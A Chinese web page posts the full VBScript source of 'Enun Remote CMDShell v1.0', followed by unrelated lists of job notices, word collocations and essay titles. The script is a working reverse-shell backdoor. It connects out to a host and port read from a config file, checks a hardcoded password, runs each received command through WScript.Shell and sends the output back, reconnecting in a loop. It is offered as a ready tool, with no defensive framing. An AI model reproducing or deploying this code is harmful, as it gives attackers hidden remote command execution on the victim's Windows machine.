效果如图：
代码如下:
'============================
' Enun Remote CMDShell v 1.0
'============================
Option Explicit
CONST ACCOUNT_LOCK_TIME = 600000 '账户锁定时间，10分钟
CONST LOCKOUT_BAD_COUNT = 3 '密码失败次数
CONST DEFAULT_WAIT_TIME = 1000 '默认延时，1秒
CONST DEFAULT_TIME_OUT = 60000 '默认超时，60秒
Public WinSocket, sRevData, Count
Do
On Error Resume Next
Do While (WinSocket.State <> 7)
Dim ObjectFSO, GetConfig, Line, Host, Port, i
Set WinSocket = WScript.CreateObject("MSWinsock.Winsock")
Set ObjectFSO = CreateObject("Scripting.FileSystemObject")
Set GetConfig = ObjectFSO.OpenTextFile(".\enunrc.ini", 1)
For i = 1 To 3
Line = GetConfig.ReadLine
If InStr(Line,"Host") > 0 Then Host = Split(Line, "=", -1, 1)(1)
If InStr(Line,"Port") > 0 Then Port = Split(Line, "=", -1, 1)(1)
Next
If (Len(Host) = 0) Then Host = "127.0.0.1"
If (Len(Port) = 0) Then Port = "8090"
WinSocket.Protocol = 0
WinSocket.RemoteHost = Host
WinSocket.RemotePort = Port
WinSocket.Connect
WScript.Sleep DEFAULT_WAIT_TIME * 5
Call TrackScript(2, WinSocket.State, WinSocket.BytesReceived)
'Setp: 2
Loop
Do While (WinSocket.State <> 9 and WinSocket.State <> 0)
Dim AuthKey, LockoutBadCount, TIMEOUT_M, TIMEOUT_N
TIMEOUT_N = 0
WinSocket.SendData WinSocket.LocalHostName & " is Connected, Enter Password: "
Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
TIMEOUT_N = TIMEOUT_N + 1000
Call ControlTimeout(TIMEOUT_N)
Loop
WinSocket.GetData Authkey, vbString
If Split(Authkey, chr(10), -1, 1)(0) = "veteran" Then
WinSocket.SendData "Logon Success, Welcome!" & vbcrlf
sRevData = "veteran"
Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
Dim ShellObj, Executes
Set ShellObj = CreateObject("WScript.Shell")
Set Executes = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))
WinSocket.SendData Executes.StdOut.ReadAll
WinSocket.SendData Executes.StdErr.ReadAll
If (Len(sRevData) > 0) Then
TIMEOUT_M = 0
WinSocket.SendData vbcrlf & "[" & WinSocket.LocalHostName & "@enun]#: "
Else
Do While (WinSocket.BytesReceived = 0 and WinSocket.State <> 9 and WinSocket.State <> 0)
TIMEOUT_M = TIMEOUT_M + 1000
Call ControlTimeout(TIMEOUT_M)
Loop
End If
If (LCase(Left(sRevData, 4)) = "exit") Then WinSocket.Close
WinSocket.GetData sRevData, vbString
WScript.Sleep DEFAULT_WAIT_TIME
Call TrackScript(5, WinSocket.State, WinSocket.BytesReceived)
'Setp: 5
Loop
Else
LockoutBadCount = LockoutBadCount + 1
WinSocket.SendData "Logon fail: Unknown user name or bad password." & vbcrlf
WScript.Sleep DEFAULT_WAIT_TIME
End If
If (LockoutBadCount = LOCKOUT_BAD_COUNT) Then
WinSocket.SendData "Failed too many times, the account has been locked!" & vbcrlf
WScript.Sleep DEFAULT_WAIT_TIME
WinSocket.Close
LockoutBadCount = 0
WScript.Sleep ACCOUNT_LOCK_TIME
'锁定账户
End If
Call TrackScript(3, WinSocket.State, WinSocket.BytesReceived)
'Setp: 3
Loop
Call TrackScript(1, WinSocket.State, WinSocket.BytesReceived)
'Setp: 1
Loop
'=======================
'Control Timeout.
'=======================
Public Sub ControlTimeout(Count)
If Count = DEFAULT_TIME_OUT Then
WinSocket.SendData vbcrlf & "Local server response timeout, Please reconnect ..." & vbcrlf
WScript.Sleep DEFAULT_WAIT_TIME
WinSocket.Close
'控制端60秒内无输入的话，连接自动断开，可即时连接。
Else
WScript.Sleep DEFAULT_WAIT_TIME
End If
Call TrackScript(4, WinSocket.State, WinSocket.BytesReceived)
'Setp: 4
End Sub
'=======================
'Track Script.
'=======================
Public Sub TrackScript(MyStep, StateCode, BytesReceived)
WScript.echo "MyStep: " & MyStep & ", StateCode: " & StateCode & ", Received: " & BytesReceived & " Bytes"
End Sub
- 2021年湖南医药学院第一附属医院高层次人才招聘公告
- 2021年广州市黄埔区教育局招聘附属黄埔实验学校事业编制教师公告
- 2021年湖南省粮食和物资储备局事业单位招聘公告
- 2021年广州市黄埔区教育局招聘事业编制教师公告
- 2021年广州市荔湾区金花街招聘公告
- 2021年广州市天河区卫生健康系统事业单位招聘专业技术人员面试公告
- 2021年广州市天河区龙洞街道办事处招聘编外合同制社区党组织专职副书记公告
- 2021年广州市增城区卫生健康局招聘聘员公告
- 2021年广州市增城区人民法院招聘政府聘员笔试有关事项通知
- 2021年河源市卫生健康局第二次招聘编外人员面试成绩及政审人员公告
- 2021年佛山市南海区业余体育学校招聘机关事业单位辅助工作人员公告
- 2021年暨南大学附属口腔医院（佛山市顺德区大良医院）第一期招聘工作人员笔试成绩公示
- 2021年顺德区大良社区卫生服务中心招聘卫生监督协管员笔试成绩及面试公告
- 2021年云南中医药大学第二附属医院招聘公告
- 2021年东莞市莞城街道政务服务中心招聘工作人员公告
- 2021年度新疆克拉玛依市克拉玛依区招聘教育系统人员通告
- 2021年云南省调水中心招聘考试录用资格复审公告
- 2021年梧州市中西医结合医院直接考核招聘事业单位工作人员公告
- 2021年云南省水利水电科学研究院招聘考试录用资格复审公告
- 2021年吉林省省直事业单位专项招聘高校毕业生公告（7号）
- 2021年昆明医科大学招聘进入面试人员参加面试注意事项通知
- 2021年南宁市西乡塘区自然资源局招聘工作人员公告
- 2021年5月文山州砚山县中医医院招聘理论考试成绩公示
- 2021年西双版纳州景洪市事业单位第一次选调公告
- 2021年西双版纳州教育体育局直属学校紧缺招聘公告
- Collocations with sale
- Collocations with salesman
- Collocations with salmon
- Collocations with salt
- Collocations with sample
- Collocations with sandstone
- Collocations with sanitation
- Collocations with satellite
- Collocations with satisfaction
- Collocations with saxophone
- 升腾
- 升船机
- 升西天
- 升调
- 升赏
- 升迁
- 升进
- 升降
- 升降机
- 升降舵
- 以亲情为话题的高三作文范文五篇
- 高三把握机遇的议论文范文
- 家风议论文高考作文800字
- 家风议论文高考作文素材800字
- 家风的议论文高考热点作文
- 高三演讲稿励志2023
- 高三爱心作文800字五篇
- 校园安全高三作文800字5篇
- 除夕高三作文800字十篇
- 高三感恩作文800字5篇